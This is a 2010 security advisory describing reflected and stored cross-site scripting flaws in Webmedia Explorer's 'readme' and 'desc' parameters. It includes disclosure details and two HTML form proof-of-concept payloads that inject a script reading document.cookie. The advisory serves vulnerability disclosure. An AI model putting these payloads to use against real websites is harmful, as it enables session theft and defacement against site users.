Cross-site Scripting (XSS) Vulnerabilities in Webmedia Explorer

Advisory ID:HTB22401
Product:Webmedia Explorer
Vendor:Marc Salmurri
Vulnerable Versions:6.10.4 - 6.13.1 and probably prior
Tested Version:6.10.4 - 6.13.1
Advisory Publication:May 25, 2010 [without technical details]
Vendor Notification:May 25, 2010
Public Disclosure:June 8, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Webmedia Explorer which could be exploited to perform cross-site scripting and script insertion attacks.

1) Cross-site scripting (XSS) vulnerability in Webmedia Explorer
The vulnerability exists due to input sanitation error in the "readme" parameter in includes/folder.class.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/folder/post_23/my-article.html" method="post" name="main" >
<input type="hidden" name="object" value="folder" />
<input type="hidden" name="desc" value="My Article" />
<input type="hidden" name="tags" value="webmedia" />
<input type="hidden" name="position" value="" />
<input type="hidden" name="readme" value='Hello WebMedia Explorer!"><script>alert(document.cookie)</script>' />
<input type="hidden" name="day" value="22" />
<input type="hidden" name="month" value="05" />
<input type="hidden" name="year" value="2010" />
<input type="hidden" name="hour" value="14" />
<input type="hidden" name="minute" value="21" />

2) Script insertion vulnerability in Webmedia Explorer
Input passed to the "desc" parameter is not properly sanitized before being stored in the database. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
<form action="http://host/folder" method="post" name="main">
<input type="hidden" name="object" value="folder">
<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="tags" value="">
<input type="hidden" name="position" value="">
<input type="hidden" name="readme" value="post txt">

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22401 - - Cross-site Scripting (XSS) Vulnerability in Webmedia Explorer
[2] Webmedia Explorer - - Webmedia Explorer scans and indexes everything under a folder called "media" under the document root and builds a website automaticaly, generating file and folder listings, image galleries, message boards, news or simply text, anywhere it finds the corresponding data.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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